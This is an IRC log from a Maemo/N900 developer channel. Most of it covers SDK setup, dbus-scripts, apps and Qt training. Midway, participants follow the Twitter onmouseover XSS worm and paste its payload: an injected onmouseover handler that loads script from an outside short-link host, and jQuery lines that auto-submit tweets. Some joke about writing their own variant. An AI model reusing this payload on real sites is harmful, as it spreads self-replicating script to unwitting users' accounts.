10:52:19 connected with irssi from a n900 Sep 21 10:52:54 very nice Sep 21 10:53:37 but no virtual keyboard Sep 21 10:54:17 :-) Sep 21 10:55:04 user: should be if you are in an Xterm Sep 21 10:55:23 user: and you might want to change your nick ;) Sep 21 10:55:33 why would you want a virtual one when you have a full qwerty one? Sep 21 10:57:10 yes its a xterm Sep 21 11:00:46 hey after install madde that was installed by default in /root/.madde and looks like i need set some path, cant find qemu from madlib (mad and mad admin i was linked in /bin (but that is only to test) i need to set something after install MADDE?, i must install made inside of sdk virtual image or i can run it from my pc? Sep 21 11:03:01 timeless_pidgin, can you help me please? :P Sep 21 11:03:30 excess flood in two seconds.. nice Sep 21 11:07:31 Can someone point me to the git repo for the active background example? Sep 21 11:07:40 dbus-scripting is acting up, rendering my device unresponsive, with 900+ processes of which 800 are 'dbus-scripts' Sep 21 11:07:47 >:-( Sep 21 11:07:55 killall dbus-script and see what breaks? ;) Sep 21 11:08:05 Doc O_O Sep 21 11:08:07 nothing breaks Sep 21 11:08:55 alterego, its in hildon-home I believe (the core test one) otherwise, get live wallpaper package or xsnow or xscreensavers or liqflow Sep 21 11:09:10 actually after SIX(!) `killall dbus-scripts` it finally managed to kill the processes faster than they respawn, and 7th killall said "no processes found to kill" Sep 21 11:09:11 lcuk: Cheers :) Sep 21 11:09:26 DocScrutinizer, hee nice! Sep 21 11:09:37 Also, is microb source actually up-to-date yet? Sep 21 11:11:54 DocScrutinizer, while killall dbus-scripts ; do :; done ;) Sep 21 11:12:07 ;) not part of command Sep 21 11:12:20 yup Sep 21 11:12:51 s/:/echo "WTF?!"/ Sep 21 11:13:05 yeah definately Sep 21 11:22:35 DocScrutinizer: while true;do killall -9 dbus-scripts;done Sep 21 11:22:36 oO Sep 21 11:23:03 * satmd wonders if this is the same hwoarang that I know from another comunity Sep 21 11:23:13 that'd be a surprise Sep 21 11:24:01 Alogeno : i'm on vacation Sep 21 11:24:08 Complain to the madde team Sep 21 11:24:19 But please don't try to outsmart the installer Sep 21 11:24:31 Do everything *precisely* as instructed Sep 21 11:25:16 lcuk: can't find it :( Sep 21 11:25:39 Not sure what you mean by microb and up to date Sep 21 11:25:55 It is of course about a year old as gecko's go... Sep 21 11:26:24 And there have been a couple of changes to the ui post pr1.2 Sep 21 11:28:54 satmd: depends on the community Sep 21 11:29:13 <[PG]Aex> hoho Sep 21 11:31:00 hwoarang: well, if you knew my nick, that'd me a yes :P Sep 21 11:31:05 if not, guess no Sep 21 11:31:23 even though I've active on b.g.o Sep 21 11:31:29 (a little) Sep 21 11:35:47 can some one helpme with that? Sep 21 11:35:51 * DocScrutinizer mumbles about being an idiot to store shellscripts at /etc/dbus-scripts.d/* Sep 21 11:35:55 mad remote -r rx51-fremantle-pr12 poweron Sep 21 11:35:55 Cannot create new QEMU! Sep 21 11:35:56 Some of the ports (6666, 13219, 14168) needed for QEMU not available! Sep 21 11:36:59 grr argh! Ok so apparently there are Answer() and Release() methods in the dbus call interface. What other methods are there? Is there a reference manual for this? Sep 21 11:37:52 Port 6666 has probably been occupied by Satan Sep 21 11:38:23 13219 and 14168 look like random numbers though, so maybe your system does not let you open ports unless you are root? Sep 21 11:38:59 aho CallStatus ftw! Sep 21 11:39:17 RST38h: satan is a port *scanner*, no port occupier :-P Sep 21 11:41:30 RST38h: also seems 6665..6669 are assigned to IRCU Sep 21 11:45:26 alterego, then you arent looking hard enough :P Sep 21 11:45:48 lcuk: probably not :P Sep 21 11:45:53 http://lists.maemo.org/pipermail/maemo-developers/2010-June/026537.html Sep 21 11:46:00 try that for some extra info and a direct link Sep 21 11:46:34 but you are best plugging into vasvlads live wallpaper stuff Sep 21 11:46:44 he has a Settings configuration dialog and all that stuff Sep 21 11:46:56 Doc: I know :) Sep 21 11:47:06 Doc: That is what I meant by Satan, too Sep 21 11:48:46 alterego, http://wiki.maemo.org/Livewallpaper Sep 21 11:48:56 use the info there to create your own live wallpapers that plugin Sep 21 11:51:15 DocScrutinizer: "You are see me?" Sep 21 11:51:37 crashanddie_: sorry, please rephrase Sep 21 11:51:47 I dunno, you said "IRCU" Sep 21 11:51:57 aah Sep 21 11:55:58 ok, confirmed: 1) /me is an idiot, 2) dbus-scripting works just nice as long as you don't store random crap to /etc/dbus-scripts.d/* Sep 21 11:57:42 you put your image gallery there ? :D Sep 21 11:59:11 nah, cat /etc/dbus-scripts.d/playswoosh -> #!/bin/sh stored=/home/user/.slidestore; slide=$(cat sys/devices/platform/gpio-switch/slide/state); if [ X$slide == X$(cat $stored) ]; then exit 0; fi; if [ $slide == open ]; then /usr/bin/play-sound /usr/share/sounds/ui-charging_started.wav; fi; echo -n $slide >$stored Sep 21 12:01:31 seems the dbus-script daemon doesn't like such config file :-P Sep 21 12:05:46 ermmm, how would I inquire current runlevel? Sep 21 12:06:45 runlevel Sep 21 12:06:48 init something? Sep 21 12:06:49 (the command) Sep 21 12:06:50 ok got it working as I want it now: http://pastebin.com/AtSGqa5g Sep 21 12:06:50 :-D Sep 21 12:09:27 Now I wonder, is it clever to have that running? Does the MainLoop use resources when waiting for a call? Sep 21 12:09:37 frals, you win at twittering! Sep 21 12:09:54 mece: it was yergas fault Sep 21 12:09:59 frals, sure it was. Sep 21 12:10:01 i opened twitter and it autoposted Sep 21 12:10:07 hehehe Sep 21 12:10:08 seems to be a nice exploit Sep 21 12:16:02 * DocScrutinizer feels sick about cruft and lyrics in inittab Sep 21 12:16:46 # What to do when the power fails/returns. Sep 21 12:16:48 pf::powerwait:/etc/init.d/powerfail start Sep 21 12:17:36 MohammadAG51, ping Sep 21 12:17:59 IroN900:~# ls /etc/init.d/powerfail Sep 21 12:18:01 ls: Zugriff auf /etc/init.d/powerfail nicht möglich: No such file or directory Sep 21 12:18:55 what in the holy fuck just happened on twitter? Sep 21 12:19:00 frals, ? Sep 21 12:19:24 lcuk: Everyone took shit? Sep 21 12:19:34 gone pooof? Sep 21 12:19:35 lcuk: seems to be a js exploit, i got it from yerga in my feed, it tries to DM someone and reposts the status Sep 21 12:19:42 nice lcuk :d Sep 21 12:19:58 frals, "you got it" Sep 21 12:20:16 lcuk: as in, it appeard in my feed from him Sep 21 12:20:17 ie its directly on twitter itself on peoples feed? Sep 21 12:20:22 or DM only Sep 21 12:20:29 (which aren't loaded by default) Sep 21 12:20:36 lcuk: in feeds Sep 21 12:20:40 wow Sep 21 12:20:42 muhahaha Sep 21 12:20:46 that's pretty cool! Sep 21 12:20:54 lcuk: and it spreads as soon as you load the feed in browser Sep 21 12:20:54 so if I open yergas twitter page it will post something? Sep 21 12:21:11 i think he deleted it because its gone from my feed last i checked Sep 21 12:21:31 * DocScrutinizer ponders doing a similar hack for garage, as there aren't escaped Sep 21 12:21:31 its spread for sure Sep 21 12:21:33 its on mine now Sep 21 12:21:37 hee Sep 21 12:21:40 logout before viewing Sep 21 12:21:52 ok.. will do Sep 21 12:22:10 could you give me a direct url to the logout? Sep 21 12:22:30 hahahahahah I just got it XD XD and I didn't go anywhere, just homepage Sep 21 12:22:33 ah from own feed. Sep 21 12:22:49 MNZ, naturally if a friend has posted it you have it. Sep 21 12:22:53 1. http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/ 3 minutes ago via web Sep 21 12:22:57 viewing source of page Sep 21 12:23:02 WTF *is* twitter ?? :-P Sep 21 12:23:08 is this directly because of new t.co? Sep 21 12:23:10 wow Sep 21 12:23:19 very large letters those are :D:D:D Sep 21 12:23:54 hahaha I can just *imagine* the state all the twitter devs are in XD Sep 21 12:24:02 hrhr Sep 21 12:24:19 * DocScrutinizer cackles evilly Sep 21 12:24:27 can someone decode that url Sep 21 12:24:35 http:\u002f\u002fis.gd\u002ffl9A7 Sep 21 12:24:44 and resolve it into the script? Sep 21 12:25:02 u'http://is.gd/fl9A7' Sep 21 12:25:36 lets make our own! what do you guys want to spam twitter with today? Sep 21 12:26:25 the site seems pretty down. Sep 21 12:26:27 I think is.gd is down from the load!!! Sep 21 12:26:30 self-/. Sep 21 12:26:47 so if i login and delete the twit myself Sep 21 12:27:17 this. is. epic. Sep 21 12:27:32 twitter will soon collapsificate Sep 21 12:27:41 failwhale to the rescue! Sep 21 12:27:47 http://lexasoft . jino-net.ru / up1415.js Sep 21 12:27:48 no, since the script is no longer available it will stop spreading Sep 21 12:28:00 DocScrutinizer, thanks :D Sep 21 12:28:06 right Sep 21 12:28:10 its gone from my feed Sep 21 12:28:12 $('#status').val("http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\\u002f\\u002fis.gd\\u002ffl9A7')\"/"); Sep 21 12:28:14 $('.status-update-form').submit(); Sep 21 12:28:35 * DocScrutinizer shrugs Sep 21 12:28:45 seems I'm not doing it 'right' Sep 21 12:29:00 frals, logged out, go onto your own page, click stop, login with normal account, click stop again, then scroll down and delete the message Sep 21 12:29:58 variations are sprouting up tho Sep 21 12:31:35 fun on Tuesdays, that's quite unusual :-D Sep 21 12:32:05 * DocScrutinizer considers joining twitter, for the shits and giggles Sep 21 12:32:23 but then, MEH Sep 21 12:33:54 lcuk: i dont have it in my feed do i? Sep 21 12:34:00 WTF is http://t.co/@ ??? Sep 21 12:34:12 frals, i havent looked hold on Sep 21 12:34:12 okey maemo+qemu running :) Sep 21 12:34:25 no Sep 21 12:34:34 frals, no you're clean Sep 21 12:34:35 :) Sep 21 12:34:41 Jeez between crazy hamster and kroll I almost feel like the N900 is a real smart phone. Sep 21 12:34:45 eeeeeek twitter Sep 21 12:34:55 I'm out. tata. Sep 21 12:34:57 It's nice to get some game dev attention. Sep 21 12:35:07 Jef91, crazy hamster?? Sep 21 12:35:46 Game on ovi mece Sep 21 12:35:55 Is it good? Sep 21 12:36:10 Just a demo atm Sep 21 12:36:13 but looks very good. Sep 21 12:36:20 Remember old school lemmings? Sep 21 12:36:23 Kinda like that. Sep 21 12:36:29 Or pingus Sep 21 12:36:31 heh, I liked that Sep 21 12:36:38 btw I wish someone would port pingus to n900 Sep 21 12:36:42 My girlfriend loves that game Sep 21 12:37:04 Jef91, you have motivation Sep 21 12:37:10 lemmings ftw Sep 21 12:37:14 knowing she will love you forever if you port it Sep 21 12:37:28 downside is, she will be nicking your phone to play it Sep 21 12:37:33 motivation and little to no coding exp Sep 21 12:37:43 Unless pingus is python Sep 21 12:37:51 you think linus torvalds knows how to code? Sep 21 12:38:20 sticky tape and some elbow grease Sep 21 12:38:52 lol Sep 21 12:39:03 Good to know Linux gets things done the same way I do at work Sep 21 12:39:14 *cough* Sep 21 12:40:11 lcuk: don't you think passing "" verbatim into HTML pages could open a vulnerability? Sep 21 12:40:19 lcuk, not very well. Why else do you think he is not a major contributor of code anymore!? (kidding :P) Sep 21 12:41:54 This reminds me why I stopped trying to port FOSS applications to maemo - http://talk.maemo.org/showthread.php?t=60106 Sep 21 12:42:08 TermanaN900, look at any codebase Sep 21 12:42:16 Wish they would have just made the operating system compatible with debian armel packages, would have made things 100 times easier Sep 21 12:42:24 in the core is a shaky set of prototype hacks Sep 21 12:42:28 Or at least used the same libc6 version Sep 21 12:43:41 My n900 keeps killing its data connection Sep 21 12:43:59 lcuk: I'm pondering to include to starhash packet description, to auto-rate the package :-P Sep 21 12:44:37 Jef91, so any reason why pingus is not ported? Should work right away. Sep 21 12:44:53 mece You know I was told that by a pile of people Sep 21 12:44:58 binaries it needs to compile Sep 21 12:45:02 do not port so nicely Sep 21 12:45:36 Jef91, ok, I didn't really understand what you just said, but I have to go. I'll take a look at that thing. Sep 21 12:45:37 * Khertan has just lost one hour to try to write is meego usb netbook image on a usb key without success Sep 21 12:45:45 tata Sep 21 12:45:46 s/is/his Sep 21 12:46:42 what the hell's up with twitter? Sep 21 12:47:29 crashanddie, it s twitter ... it s like bird ... there isn't 100% success delivery ... Sep 21 12:47:45 khertan Meggo on the netbook is a waste of time Sep 21 12:47:53 It is moblin 1.1 which also was a waste of time. Sep 21 12:48:16 Khertan, dd's easy to use Sep 21 12:48:39 crashanddie, ouch strange ... look like a deface ... Sep 21 12:48:51 MohammadAG51, yep... but fail Sep 21 12:49:00 Khertan: XSS worm Sep 21 12:49:03 dd if=image of=/dev/somewhere Sep 21 12:49:05 Jef91, depends on you use Sep 21 12:49:11 Duckboot, xss worm ? Sep 21 12:49:32 Cross Site Scripting Sep 21 12:49:46 http://en.wikipedia.org/wiki/Cross-site_scripting Sep 21 12:50:14 Not a deface Sep 21 12:50:40 please close the browser Sep 21 12:50:55 don't leave your browser open, or you'll be sending spam Sep 21 12:51:01 <[PG]Aex> Is it possible to get J2ME support on the N900? Sep 21 12:51:03 (or DDoS'ing twitter) Sep 21 12:51:22 Or use NoScript plugin Sep 21 12:51:23 crashanddie, yep Sep 21 12:51:27 i see that Sep 21 12:51:34 it s open spam Sep 21 12:51:43 it s try to spam by direct message Sep 21 12:52:22 <[PG]Aex> Anyone knows? Sep 21 12:53:31 [PG]Aex: search TMO, it should have some info Sep 21 12:54:26 <[PG]Aex> google or maemo.org? Sep 21 12:54:29 * merlin1991 disabled javascript and happily browses a 90% cripled page now :D Sep 21 12:55:25 [PG]Aex: have you looked in app manager? I think I have seen a j2me interpreter there Sep 21 12:55:42 <[PG]Aex> sec i'll have a look Sep 21 12:57:31 hum the twitter api seems down :) Sep 21 13:00:20 lol Sep 21 13:01:22 hum that again? I didn't catch the tune ;) Sep 21 13:03:26 Khertan: not just the API, everything. Sep 21 13:03:48 crashanddie, hum the web interface is working :) Sep 21 13:04:21 i cant believe they allow you to tweet javascript in the first place Sep 21 13:04:28 if i write a counter measure and diffuse it like the xss original worms Sep 21 13:04:31 Khertan: yes, but it's filled with plenty of worms Sep 21 13:05:10 can it be call a xss worms ? Sep 21 13:05:41 [PG]Aex: microemulator - MicroEmulator is a free J2ME(TM) implementation. Sep 21 13:05:45 lcuk: ?? any notion about my prev posts? Sep 21 13:05:46 kindof Sep 21 13:05:55 <[PG]Aex> lol just found it the second you wrote Sep 21 13:05:57 <[PG]Aex> Cheers=) Sep 21 13:06:23 I would write earlier if some guy wouldn't pick me on the phone Sep 21 13:06:35 <[PG]Aex> xd Sep 21 13:07:33 <[PG]Aex> Well, thanks alot for the help =) Sep 21 13:07:59 bash: xd: command not found Sep 21 13:12:08 lol i m trying to got the javascript but the website which host it seems down Sep 21 13:12:08 :) Sep 21 13:12:47 get it out of your browser cache? Sep 21 13:13:02 Or google cache Sep 21 13:13:13 ah yes google cache Sep 21 13:13:14 thx Sep 21 13:13:15 ;) Sep 21 13:15:28 Khertan: i'm not seeing any remote javascript Sep 21 13:15:35 Khertan: just seeing an automated .submit Sep 21 13:15:54 crashanddie, there is one on the mouse over Sep 21 13:16:11 onmouseover="document.getElementById('status').value='RT Matsta';$('.status-update-form').submit();" Sep 21 13:16:14 http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"class/ Sep 21 13:16:19 is twitter acting strangly for anyone else? Sep 21 13:16:30 windows keep popping from no where Sep 21 13:16:32 th3hate: yes, don't use a browser Sep 21 13:16:33 th3hate, under xss worm attack Sep 21 13:16:39 th3hate: or use noscript Sep 21 13:17:48 LOL @ trending topics Sep 21 13:18:02 link mentioned by Khertan already has been disabled by is.gd Sep 21 13:18:06 Security flaw, mousover, onmouseover, expliot, XSS Sep 21 13:18:11 http://is.gd/fl9A7 disabled Sep 21 13:18:16 attack ends :) Sep 21 13:18:19 Khertan: http:\u002f\u002fis.gd\u002ffl9A7 == http://is.gd/fl9A7 (blocked now) == http://scaicha.helld.ru/index.py?name=Guliwer512&period=overall&score=1&other=1 Sep 21 13:20:34 web interface seems to have been fixed Sep 21 13:21:04 http://scaicha.helld.ru/index.py?name=Guliwer512&period=overall&score=1&other=1 <<< strange didn't see the link Sep 21 13:21:14 http://scaicha.helld.ru/index.py?name=Guliwer512&period=overall&score=1&other=1 <<< strange didn't see the link between this page and any js Sep 21 13:21:28 neither do I see anything... Sep 21 13:22:10 Khertan: though, it could spit out something else if the referrer is twitter... Sep 21 13:22:43 the original : http://lexasoft.jino-net.ru/up1415.js Sep 21 13:22:44 :) Sep 21 13:27:23 crashanddie, ok nothing bad so ... it s just replicate itself Sep 21 13:27:29 nothing more Sep 21 13:28:23 well, I wonder Sep 21 13:28:47 because the http://t.co/@ is another rediction service Sep 21 13:29:20 so I wonder if ""style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"class" could be computing to something else... Sep 21 13:29:50 which would then redirect to yet something else Sep 21 13:31:26 Twitter uses the t.co domain as part of a service to protect users from harmful activity Sep 21 13:31:28 lol Sep 21 13:31:31 failed :) Sep 21 13:31:38 there's a lesson to be learned from this class of worms... clearly distinguish data layer and presentation layer :( Sep 21 13:31:55 what does that have to do with anything? Sep 21 13:32:15 data is not supposed to contain executable elements Sep 21 13:32:24 crashanddie, is possible only with t.co ... this is how they manage to shorten url that made this possible Sep 21 13:32:42 just sanitise your bloody inputs correctly, whether that means they come from a user or your database Sep 21 13:32:58 ack. that is a approach to the same underlying problem Sep 21 13:32:59 ;) Sep 21 13:33:01 obviously, twitter trusted whatever came out of their database and the display assumed it was trustworthy. Sep 21 13:33:46 the problem is js ... this abomination should not exist Sep 21 13:33:48 This would never have happened if they'd written twitter using a propper language... like Java or something. Sep 21 13:34:09 Sep 21 13:34:20 Anyone on here use twitter from the n900? If so what client do you prefer? Sep 21 13:34:31 Jef91: KHWEETEUR! Sep 21 13:34:32 crashanddie, hum ... if they used java we will just have a uptime of 1 hour by day Sep 21 13:34:39 :) Sep 21 13:34:51 Khertan: oh piss off :P You never programmed in java, you're not allowed to criticise it :P Sep 21 13:34:52 crashanddie, what did they use ? Sep 21 13:35:00 Khertan Sep 21 13:35:01 crashanddie, i m a java dev ... Sep 21 13:35:07 Khertan: it was ruby on rails or something Sep 21 13:35:17 crashanddie, i m use java 2 years ... and i run away from it :) Sep 21 13:35:21 Khertan: my point exactly, if you're a java dev, you've never developed in java Sep 21 13:35:25 crashanddie, i ve use java 2 years ... and i run away from it :) Sep 21 13:35:37 crashanddie, lol Sep 21 13:35:47 wait, there's a problem with my previous argument :D Sep 21 13:36:12 Khertan: J2EE? Sep 21 13:36:15 ruby on rail ... ouch ... we have many problem with this at work Sep 21 13:36:22 kh Sep 21 13:36:30 crashanddie, j2ee and j2me unfortunatly Sep 21 13:36:31 fucking autocompletion of this stupid irc client Sep 21 13:36:37 :) Sep 21 13:37:04 I actually have to even when there's only one option.... Sep 21 13:37:38 Khertan: what do you use on Windows? Sep 21 13:37:48 Is it possible to join channels with the IRC telepathy plugin somehow? Or just private messages? Sep 21 13:37:49 macirssi was all my dreams come true Sep 21 13:37:56 crashanddie, on windows : webchat.freenode.net Sep 21 13:37:57 :) Sep 21 13:38:01 heh Sep 21 13:38:12 Has anyone here had cases where sending an email to someone using MS Exchange resulted in "failed" instead of "canceled". The destination is an account in this MS Exchange server Sep 21 13:38:13 as i try to stay too much on this os Sep 21 13:38:33 * Khertan hate DBUS ! Sep 21 13:38:44 * satmd too Sep 21 13:38:58 did you run into a missing libdbus-1.la like me? Sep 21 13:39:03 Khertan: "hates" Sep 21 13:39:11 troisieme personne Sep 21 13:39:38 no ... i'm trying to make dbus-callback-default working on org.freedesktop.Notification without any luck Sep 21 13:39:52 crashanddie, true ... but i do the same error in french ... :) Sep 21 13:40:00 tsss Sep 21 13:40:36 ayé les russes s'y mettent : ошел с другого клиента ибо работать в веб интерфейсике - опасно Sep 21 13:40:37 :) Sep 21 13:40:55 a new variant of the xss worm on twitter just appear :) Sep 21 13:41:22 do you guys hate twitter? Sep 21 13:41:47 why? Sep 21 13:41:55 Wish we could get a decent Facebook application Sep 21 13:42:05 Jef91, microb Sep 21 13:42:23 Khertan Microb refuses to click any buttons on touch.facebook.com for me Sep 21 13:42:36 Wish we could get a decent Fring application Sep 21 13:42:38 and when I use the full site it throws an error message everytime I try to post something Sep 21 13:42:52 I'm just glad pyradio has a solid dev behind it Sep 21 13:42:56 that application is fantastic Sep 21 13:42:58 e-buudy too Sep 21 13:43:17 I wish i could fix the notification callback on Khweeteur Sep 21 13:43:19 :) Sep 21 13:43:39 maybe you are using custom kernel Sep 21 13:43:52 try using the default one Sep 21 13:43:59 might work for you Sep 21 13:46:11 grr slow n900 is slow... must, resist, overclocking... Sep 21 13:46:43 Jef91, n900 isn't slwo Sep 21 13:47:05 relative to other handhelds, no Sep 21 13:47:08 overclock resolv anything Sep 21 13:47:09 relative to my netbook yes Sep 21 13:47:25 Jef91, funny i found my n900 faster than my n130 Sep 21 13:47:26 :) Sep 21 13:47:51 I have an n455 I think in mine Sep 21 13:47:54 1.66ghz Sep 21 13:48:25 what's the difference between the fremantle and fremantle-1.2 distribution? Sep 21 13:48:37 alot less suck satmd Sep 21 13:48:46 which one? ;) Sep 21 13:48:55 1.2 is much better Sep 21 13:49:09 ok Sep 21 13:49:27 * satmd goes reinstalling petrovich in an attempt at repairing Sep 21 13:50:26 Grr t-mobile 3g Sep 21 13:50:34 Download just stopped 1/3 of the way through. Sep 21 13:51:03 still broken :( Sep 21 13:52:23 MohammadAG51, after changing for a another usb key ... dd works ... the dd key seems broken :) Sep 21 13:56:04 hey.. i got an error.. while running run-standalone.sh Sep 21 13:56:14 why doesnt maemo notifier for xchat plugin doesn't work? Sep 21 13:56:22 can you help guys? Sep 21 13:56:25 SBOX_CPUTRANSPARENCY_METHOD not set.. it seems Sep 21 13:56:42 what can b a solution Sep 21 13:57:02 iuu: i think nothing Sep 21 13:57:03 I want my phone to beep when I get personal message on xchat Sep 21 13:57:11 because obviously, you think our time is less precious than yours Sep 21 13:57:17 because you didn't even take the time to google it Sep 21 13:57:17 why wont my n900 beep? Sep 21 13:57:40 iuu: so how about you just google that exact error message take the first link, and read what it says? Sep 21 13:57:49 iuu: also, learn to read the bloody manual Sep 21 13:57:49 help is appreciated Sep 21 13:57:51 crashanddie, yet you spend time shouting at him i na less productive manner ;) Sep 21 13:58:00 me? Sep 21 13:58:20 lolloo, theres a strange plugin somewhere, but it was disliked by many Sep 21 13:58:24 however, maybe you just need to sb-menu, and then select the target you wish to compile for, for example, Fremantle_ARM or whatever the name is Sep 21 13:58:49 im a total newbie :( Sep 21 13:58:50 the one am using comes with xchat Sep 21 13:58:56 okay.. thanks.. Sep 21 13:58:59 but it doesn't work Sep 21 13:59:01 why? Sep 21 13:59:20 iuu: being a newbie doesn't deprive you from common sense, or access to google Sep 21 13:59:44 lcuk: i know, but it feels gooooood :) Sep 21 14:00:24 heh Sep 21 14:00:53 crashanddie: yea.. i tried googlin it.. cudnt get a proper answer Sep 21 14:01:07 WTF? Sep 21 14:02:07 yeah.. i felt da same.. Sep 21 14:02:20 iuu: I googled "SBOX_CPUTRANSPARENCY_METHOD not set", first result is a TMO thread that explains clearly what you have to do within the 4 first posts, second one is a mailing list, third one is another mailing list result, 4th is IRC in this very channel with the answer as well Sep 21 14:02:54 heck, the whole first 3 pages of Google contain the answer Sep 21 14:04:57 lcuk: http://logs.nslu2-linux.org/livelogs/maemo/maemo.20081116.txt Sep 21 14:05:43 why am i here? Sep 21 14:05:49 <_|Nix|_> Hey! What's going on with the fremantle buildbot? It's been building something called shiboken_0.5.0-1maemo1 since, like, yesterday ... Sep 21 14:05:58 I suppose that wasn't an existential question. Sep 21 14:06:24 _|Nix|_, do not take care of this blocked build ... everything runs well Sep 21 14:06:42 _|Nix|_, i thinks it s just a display errors Sep 21 14:06:50 s/s/ Sep 21 14:07:21 <_|Nix|_> Khertan: Oh, OK ... Sep 21 14:07:22 crashanddie, :) Sep 21 14:07:31 look at the timestamp of that conversation Sep 21 14:07:35 and of this picture http://liqbase.net/liq.20081111_012826.gary.scr.png Sep 21 14:08:22 that was actually the morning i started on the library Sep 21 14:09:49 lcuk: do you think in a couple thousand years or so, we'll have people going through IRC logs trying to figure out what our customs were? Sep 21 14:10:20 i do it now :) Sep 21 14:11:26 it took nearly 2 months to actually get something running you know crashanddie - i carried on hacking in original liqbase for ages Sep 21 14:11:37 should I become Qt-certified trainer? Sep 21 14:11:39 are there any alternative OS's I can install on my n800? Sep 21 14:11:40 http://liqbase.net/liq.20090102_202719.%28null%29.scr.png Sep 21 14:11:47 first libliqbase screenshot ;) Sep 21 14:11:48 Tu13es: Gentoo Sep 21 14:11:58 hm, is there a guide somewhere? Sep 21 14:12:09 Tu13es: yes. Google Sep 21 14:12:09 is the certificate important to companies? Sep 21 14:12:12 my linux knowledge is meh at best Sep 21 14:13:06 Jartza: don't bother Sep 21 14:13:08 jart Sep 21 14:13:10 damnit Sep 21 14:13:28 Jartza: as with any certification, if a company attaches any importances to it, they'll pay for you to pass it Sep 21 14:13:57 but they won't hire you because you have a certification, over you being unqualified Sep 21 14:14:28 crashanddie: I'm not worried about them hiring me. Sep 21 14:14:58 ask yourself the question the other way around: would you want to work for a company that hired/works with you solely based on your qualifications, not your actual expertise? Sep 21 14:15:01 I just got a proposition to get me the certificate Sep 21 14:15:17 if it's free, gfo Sep 21 14:15:19 gfi Sep 21 14:15:37 crashanddie: nope. but I'm aleady teaching Qt, been for a long time. Sep 21 14:16:00 well, you decide to show your qualifications later on or not Sep 21 14:16:03 Imjust don't have the trainer's certificcate Sep 21 14:16:18 as long as you're not a dick who prints all his certifications in his email signature ... :P Sep 21 14:16:22 s/m/ / Sep 21 14:16:22 Jartza meant: I just don't have the trainer's certificcate Sep 21 14:16:50 crashanddie: don't worry :) I'm teacher :P Sep 21 14:17:04 do it Sep 21 14:17:10 you'll learn some fun stuff and get some contacts Sep 21 14:17:52 how long is the training? Sep 21 14:18:06 dunno Sep 21 14:18:20 get the school to pay for it Sep 21 14:18:28 I'm already teaching nokia guys to program with Qt Sep 21 14:18:28 (accomodation/food/transport) Sep 21 14:18:32 :) Sep 21 14:18:48 ok, don't say "teacher" if you're not working in a school :P Sep 21 14:18:54 and Nokia wants me to become certified. Sep 21 14:19:15 I'm working for school, too. university :) Sep 21 14:19:22 lol Sep 21 14:19:28 Teaching Nokia how to use their own thing. lol :P Sep 21 14:19:28 and for several companies :) Sep 21 14:19:38 TermanaN900: that's a good sign Sep 21 14:19:53 I'd imagine most of their software engineers were Symbian up until now. Sep 21 14:19:57 TermanaN900: yep. I also participated in maemo-training-material creation :P Sep 21 14:20:07 though that was for gtk+ Sep 21 14:20:08 so we can blame you? Sep 21 14:20:14 :P Sep 21 14:20:14 for the crappiness? Sep 21 14:20:32 alterego: true. or just c/c++ Sep 21 14:20:40 crashanddie has just found his new scapegoat Sep 21 14:20:45 Heh Sep 21 14:21:01 crashanddie: what's crappy? Sep 21 14:21:09 Ah, I helped czr a bit with that :) Sep 21 14:21:19 Jartza: dunno, all of it. Most of the documentation for Maemo is notoriously bad. Sep 21 14:21:42 Jartza: so the probability that I actually ever looked at anything you made is pretty low Sep 21 14:22:06 But hes still going to blame you anyway Sep 21 14:22:11 Hahah Sep 21 14:22:27 did i blame him? Sep 21 14:22:33 Sweet, just got the access details :D Sep 21 14:22:38 QT side of things isn't that bad but QT SDK is quite buggy Sep 21 14:22:42 no, so TermanaN900 go back herding cattle or something. Sep 21 14:22:48 crashanddie: http://maemo.org/development/training/ Sep 21 14:22:50 :) Sep 21 14:23:28 of course, that material is still backed up by lecturer Sep 21 14:24:26 yup, that's the crappy stuff i was talking about... Not the actual material you made, it's well laid out and stuff Sep 21 14:24:30 And there is content Sep 21 14:24:42 the problem is, that bunch of docs? Doesn't work at all in a project such a maemo Sep 21 14:24:51 there aren't any lectures, there aren't any training days Sep 21 14:25:02 there are no trainers to help you Sep 21 14:25:46 and if I have to read this (which is "node 8", http://maemo.org/development/training/maemo_technology_overview_content/plain_html/node8/) before I actually get down to some code Sep 21 14:26:18 (whatever node 8 may mean) Sep 21 14:26:48 Jartza: I'm not trying to be rude here, as a course, it makes perfect sense. Sep 21 14:27:04 As something that is supposed to grow developers... it's crap -- and that's a Nokia problem. Sep 21 14:27:07 sure, nokia wished the material to start from basics Sep 21 14:27:26 of course everythin doesn't apply to everyone Sep 21 14:27:59 If you compare that to android... Sep 21 14:28:11 and unfortunate thing was that nokia only organized the courses for it's own employees and yes, there was atrainer (me) and that material was just a support material Sep 21 14:28:35 they still decided to release the material, because it was licensed as cc Sep 21 14:28:40 I just googled "android development tutorial", I get 4 easy steps: http://developer.android.com/sdk/index.html, followed by a helloworld tutorial with code, screenshots and a bit of explaining text Sep 21 14:29:15 Jartza: I completely understand the culture Nokia is coming from in that regard Sep 21 14:29:16 crashanddie: no offense taken :) the maemo-material is no tutorial Sep 21 14:29:30 it's a course material Sep 21 14:29:38 aye Sep 21 14:29:54 and it's gtk+ :P Sep 21 14:30:00 yeah yeah Sep 21 14:30:15 but yes, you can blame me :) Sep 21 14:30:20 most developers starting now should skip maemo stuff and get into Qt SDK anyway Sep 21 14:30:34 and nokia of course. I just did what they asked :) Sep 21 14:31:20 jarkkom: that's what's happening. no-one is interested in maemo as such, or gtk+ at all. only qt. Sep 21 14:31:40 really? Sep 21 14:31:53 and that's the reason they want to certify me :P Sep 21 14:32:04 Surfa: really. at least in finland. Sep 21 14:32:16 really? :O Sep 21 14:32:36 Nokia is all about Meego/Qt these days Sep 21 14:32:37 good if it's really so Sep 21 14:32:43 everybody wants meego-courses, even if they don't even seem to know what they wangt :D Sep 21 14:33:00 but I sell them Qt-courses Sep 21 14:33:17 that's a start Sep 21 14:33:41 I'd like to see free trainings/courses for MeeGo Sep 21 14:34:09 (currently giving a 2day Qt-course in kajaani, finland) Sep 21 14:34:29 but. I'm off to dinner. Sep 21 14:37:11 crashanddie, PM Sep 21 14:40:45 if only in there Qt everywhere they can see there are other language than c++ Sep 21 14:40:52 s/there/their Sep 21 14:43:41 hi all Sep 21 14:44:23 